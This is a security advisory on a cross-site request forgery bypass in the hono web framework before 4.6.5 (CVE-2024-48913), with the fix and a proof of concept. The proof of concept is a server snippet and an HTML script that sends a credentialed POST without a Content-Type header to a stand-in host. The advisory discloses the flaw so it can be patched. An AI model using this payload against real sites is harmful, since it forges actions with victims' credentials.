Cross-site Request Forgery (CSRF) Affecting hono package, versions <4.6.5
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published16 Oct 2024
- disclosed15 Oct 2024
- creditUnknown
Introduced: 15 Oct 2024
CVE-2024-48913 (opens in a new tab)How to fix?
Upgrade hono to version 4.6.5 or higher.
Overview
hono is an Ultrafast web framework for the Edges
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) through the csrf function. An attacker can bypass CSRF protection by sending a request without a Content-Type header.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />